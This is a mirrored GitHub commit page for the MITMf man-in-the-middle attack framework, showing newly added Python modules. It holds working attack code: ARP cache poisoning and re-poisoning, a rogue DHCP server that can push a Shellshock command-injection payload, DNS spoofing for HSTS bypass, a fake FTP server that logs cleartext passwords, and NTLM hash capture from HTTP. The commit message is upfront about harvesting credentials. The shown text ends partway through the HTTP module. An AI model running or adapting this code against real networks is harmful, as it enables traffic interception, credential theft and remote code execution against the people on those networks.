mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
This commit is contained in:
parent
663f38e732
commit
9712eed4a3
92 changed files with 6883 additions and 3349 deletions
0
core/protocols/__init__.py
Normal file
0
core/protocols/__init__.py
Normal file
86
core/protocols/arp/ARPWatch.py
Normal file
86
core/protocols/arp/ARPWatch.py
Normal file
|
@ -0,0 +1,86 @@
|
|||
import logging
|
||||
import os
|
||||
import sys
|
||||
import threading
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ARPWatch:
|
||||
|
||||
def __init__(self, gatewayip, myip, interface):
|
||||
self.gatewayip = gatewayip
|
||||
self.gatewaymac = None
|
||||
self.myip = myip
|
||||
self.interface = interface
|
||||
self.debug = False
|
||||
self.watch = True
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
self.gatewaymac = getmacbyip(self.gatewayip)
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
||||
except Exception, e:
|
||||
sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
||||
|
||||
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
|
||||
mitmf_logger.debug("[ARPWatch] myip => {}".format(self.myip))
|
||||
mitmf_logger.debug("[ARPWatch] interface => {}".format(self.interface))
|
||||
|
||||
t = threading.Thread(name='ARPWatch', target=self.startARPWatch)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def stop(self):
|
||||
mitmf_logger.debug("[ARPWatch] shutting down")
|
||||
self.watch = False
|
||||
|
||||
def startARPWatch(self):
|
||||
sniff(prn=self.arp_monitor_callback, filter="arp", store=0)
|
||||
|
||||
def arp_monitor_callback(self, pkt):
|
||||
if self.watch is True: #Prevents sending packets on exiting
|
||||
if ARP in pkt and pkt[ARP].op == 1: #who-has only
|
||||
#broadcast mac is 00:00:00:00:00:00
|
||||
packet = None
|
||||
#print str(pkt[ARP].hwsrc) #mac of sender
|
||||
#print str(pkt[ARP].psrc) #ip of sender
|
||||
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
|
||||
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
|
||||
|
||||
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
|
||||
mitmf_logger.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
|
||||
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = '00:00:00:00:00:00'
|
||||
packet.pdst = str(pkt[ARP].pdst)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
|
||||
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
|
||||
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.myip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
try:
|
||||
if packet is not None:
|
||||
send(packet, verbose=self.debug, iface=self.interface)
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[ARPWatch] Error sending re-poison packet: {}".format(e))
|
||||
pass
|
148
core/protocols/arp/ARPpoisoner.py
Normal file
148
core/protocols/arp/ARPpoisoner.py
Normal file
|
@ -0,0 +1,148 @@
|
|||
import logging
|
||||
import threading
|
||||
from time import sleep
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ARPpoisoner():
|
||||
|
||||
def __init__(self, gateway, interface, mac, targets):
|
||||
|
||||
self.gatewayip = gateway
|
||||
self.gatewaymac = getmacbyip(gateway)
|
||||
self.mymac = mac
|
||||
self.targets = self.getTargetRange(targets)
|
||||
self.targetmac = None
|
||||
self.interface = interface
|
||||
self.arpmode = 'rep'
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.interval = 3
|
||||
|
||||
def getTargetRange(self, targets):
|
||||
if targets is None:
|
||||
return None
|
||||
|
||||
targetList = list()
|
||||
targets = targets.split(",")
|
||||
for target in targets:
|
||||
if "-" in target:
|
||||
max_range = int(target.split("-")[1])
|
||||
octets = target.split("-")[0].split(".")
|
||||
f3_octets = ".".join(octets[0:3])
|
||||
l_octet = int(octets[3])
|
||||
|
||||
for ip in xrange(l_octet, max_range+1):
|
||||
targetList.append('{}.{}'.format(f3_octets, ip))
|
||||
else:
|
||||
targetList.append(target)
|
||||
|
||||
return targetList
|
||||
|
||||
def start(self):
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
||||
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
|
||||
mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets))
|
||||
mitmf_logger.debug("[ARPpoisoner] targetmac => {}".format(self.targetmac))
|
||||
mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac))
|
||||
mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface))
|
||||
mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode))
|
||||
mitmf_logger.debug("[ARPpoisoner] interval => {}".format(self.interval))
|
||||
|
||||
if self.arpmode == 'rep':
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poisonARPrep)
|
||||
|
||||
elif self.arpmode == 'req':
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poisonARPreq)
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def stop(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
self.interval = 1
|
||||
|
||||
if self.targets:
|
||||
self.restoreTarget(2)
|
||||
|
||||
elif self.targets is None:
|
||||
self.restoreNet(5)
|
||||
|
||||
def poisonARPrep(self):
|
||||
while self.send:
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
elif self.targets:
|
||||
#Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it
|
||||
for targetip in self.targets:
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
|
||||
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def poisonARPreq(self):
|
||||
while self.send:
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
elif self.targets:
|
||||
for targetip in self.targets:
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def restoreNet(self, count):
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
def restoreTarget(self, count):
|
||||
for targetip in self.targets:
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while restoring connection {}: {}".format(targetip, e))
|
||||
pass
|
0
core/protocols/arp/__init__.py
Normal file
0
core/protocols/arp/__init__.py
Normal file
107
core/protocols/dhcp/DHCPServer.py
Normal file
107
core/protocols/dhcp/DHCPServer.py
Normal file
|
@ -0,0 +1,107 @@
|
|||
import logging
|
||||
import threading
|
||||
import binascii
|
||||
import random
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class DHCPServer():
|
||||
|
||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||
self.interface = interface
|
||||
self.ip_address = ip
|
||||
self.mac_address = mac
|
||||
self.shellshock = None
|
||||
self.debug = False
|
||||
self.dhcpcfg = dhcpcfg
|
||||
self.rand_number = []
|
||||
self.dhcp_dic = {}
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def dhcp_sniff(self, interface):
|
||||
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
|
||||
|
||||
def dhcp_rand_ip(self):
|
||||
pool = self.dhcpcfg['ip_pool'].split('-')
|
||||
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
||||
max_range = int(pool[1])
|
||||
min_range = int(pool[0].split('.')[3])
|
||||
number_range = range(min_range, max_range)
|
||||
for n in number_range:
|
||||
if n in self.rand_number:
|
||||
number_range.remove(n)
|
||||
rand_number = random.choice(number_range)
|
||||
self.rand_number.append(rand_number)
|
||||
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
||||
|
||||
return rand_ip
|
||||
|
||||
def dhcp_callback(self, resp):
|
||||
if resp.haslayer(DHCP):
|
||||
xid = resp[BOOTP].xid
|
||||
mac_addr = resp[Ether].src
|
||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
else:
|
||||
client_ip = self.dhcp_rand_ip()
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
|
||||
if resp[DHCP].options[0][1] is 1:
|
||||
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
mitmf_logger.info("Sending DHCP OFFER")
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "offer"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240),
|
||||
"end"]))
|
||||
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
|
||||
if resp[DHCP].options[0][1] is 3:
|
||||
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "ack"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240)]))
|
||||
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
if self.shellshock:
|
||||
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
mitmf_logger.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
0
core/protocols/dhcp/__init__.py
Normal file
0
core/protocols/dhcp/__init__.py
Normal file
101
core/protocols/dns/DNSServer.py
Normal file
101
core/protocols/dns/DNSServer.py
Normal file
|
@ -0,0 +1,101 @@
|
|||
##################################################################################
|
||||
#DNS Stuff starts here(not Used)
|
||||
##################################################################################
|
||||
|
||||
#Function name self-explanatory
|
||||
|
||||
class DNSServer():
|
||||
|
||||
def serve_thread_udp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
def start(DNS_On_Off):
|
||||
if DNS_On_Off == "ON":
|
||||
t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS))
|
||||
t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP))
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if DNS_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer.
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#DNS Answer packet.
|
||||
class DNSAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x01"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = inet_aton(OURIP)
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
|
||||
# DNS Server class.
|
||||
class DNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
if self.client_address[0] == "127.0.0.1":
|
||||
pass
|
||||
elif ParseDNSType(data):
|
||||
buff = DNSAns()
|
||||
buff.calculate(data)
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
#print "DNS Answer sent to: %s "%(self.client_address[0])
|
||||
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
|
||||
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if self.client_address[0] == "127.0.0.1":
|
||||
pass
|
||||
elif ParseDNSType(data):
|
||||
buff = DNSAns()
|
||||
buff.calculate(data)
|
||||
self.request.send(str(buff))
|
||||
#print "DNS Answer sent to: %s "%(self.client_address[0])
|
||||
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#DNS Stuff ends here (not Used)
|
||||
##################################################################################
|
130
core/protocols/dns/DNSnfqueue.py
Normal file
130
core/protocols/dns/DNSnfqueue.py
Normal file
|
@ -0,0 +1,130 @@
|
|||
|
||||
class DNSnfqueue():
|
||||
|
||||
hsts = False
|
||||
dns = False
|
||||
hstscfg = None
|
||||
dnscfg = None
|
||||
_instance = None
|
||||
nfqueue = None
|
||||
queue_number = 0
|
||||
|
||||
def __init__(self):
|
||||
self.nfqueue = NetfilterQueue()
|
||||
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if _DNS._instance is None:
|
||||
_DNS._instance = _DNS()
|
||||
|
||||
return _DNS._instance
|
||||
|
||||
@staticmethod
|
||||
def checkInstance():
|
||||
if _DNS._instance is None:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def bind(self):
|
||||
self.nfqueue.bind(self.queue_number, self.callback)
|
||||
self.nfqueue.run()
|
||||
|
||||
def stop(self):
|
||||
try:
|
||||
self.nfqueue.unbind()
|
||||
except:
|
||||
pass
|
||||
|
||||
def enableHSTS(self, config):
|
||||
self.hsts = True
|
||||
self.hstscfg = config
|
||||
|
||||
def enableDNS(self, config):
|
||||
self.dns = True
|
||||
self.dnscfg = config
|
||||
|
||||
def resolve_domain(self, domain):
|
||||
try:
|
||||
mitmf_logger.debug("Resolving -> %s" % domain)
|
||||
answer = dns.resolver.query(domain, 'A')
|
||||
real_ips = []
|
||||
for rdata in answer:
|
||||
real_ips.append(rdata.address)
|
||||
|
||||
if len(real_ips) > 0:
|
||||
return real_ips
|
||||
|
||||
except Exception:
|
||||
mitmf_logger.info("Error resolving " + domain)
|
||||
|
||||
def callback(self, payload):
|
||||
try:
|
||||
#mitmf_logger.debug(payload)
|
||||
pkt = IP(payload.get_payload())
|
||||
|
||||
if not pkt.haslayer(DNSQR):
|
||||
payload.accept()
|
||||
return
|
||||
|
||||
if pkt.haslayer(DNSQR):
|
||||
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||
if self.dns:
|
||||
for k, v in self.dnscfg.items():
|
||||
if k in pkt[DNSQR].qname:
|
||||
self.modify_dns(payload, pkt, v)
|
||||
return
|
||||
|
||||
payload.accept()
|
||||
|
||||
elif self.hsts:
|
||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
||||
for k,v in self.hstscfg.items():
|
||||
if v == pkt[DNSQR].qname[:-1]:
|
||||
ip = self.resolve_domain(k)
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
if 'wwww' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
if 'web' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
payload.accept()
|
||||
|
||||
except Exception, e:
|
||||
print "Exception occurred in nfqueue callback: " + str(e)
|
||||
|
||||
def modify_dns(self, payload, pkt, ip):
|
||||
try:
|
||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||
|
||||
if self.hsts:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||
for i in ip:
|
||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(spoofed_pkt))
|
||||
payload.accept()
|
||||
|
||||
if self.dns:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(spoofed_pkt))
|
||||
payload.accept()
|
||||
|
||||
except Exception, e:
|
||||
print "Exception occurred while modifying DNS: " + str(e)
|
0
core/protocols/dns/__init__.py
Normal file
0
core/protocols/dns/__init__.py
Normal file
71
core/protocols/ftp/FTPServer.py
Normal file
71
core/protocols/ftp/FTPServer.py
Normal file
|
@ -0,0 +1,71 @@
|
|||
##################################################################################
|
||||
#FTP Stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class FTPServer():
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(FTP_On_Off):
|
||||
if FTP_On_Off == "ON":
|
||||
t = threading.Thread(name="FTP", target=self.serve_thread_tcp, args=("0.0.0.0", 21, FTP))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if FTP_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class FTPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "Welcome"),
|
||||
("Terminator", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
#FTP server class.
|
||||
class FTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
#print "[+]FTP User: ", User
|
||||
responder_logger.info('[+]FTP User: %s'%(User))
|
||||
t = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
#print "[+]FTP Password is: ", Pass
|
||||
responder_logger.info('[+]FTP Password is: %s'%(Pass))
|
||||
t = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
else :
|
||||
t = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#FTP Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/ftp/__init__.py
Normal file
0
core/protocols/ftp/__init__.py
Normal file
240
core/protocols/http/HTTPProxy.py
Normal file
240
core/protocols/http/HTTPProxy.py
Normal file
|
@ -0,0 +1,240 @@
|
|||
##################################################################################
|
||||
#HTTP Proxy Stuff starts here (Not Used)
|
||||
##################################################################################
|
||||
|
||||
class HTTPProxy():
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
def start(on_off):
|
||||
if on_off == "ON":
|
||||
t = threading.Thread(name="HTTP", target=self.serve_thread_tcp, args=("0.0.0.0", 80,HTTP))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if on_off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
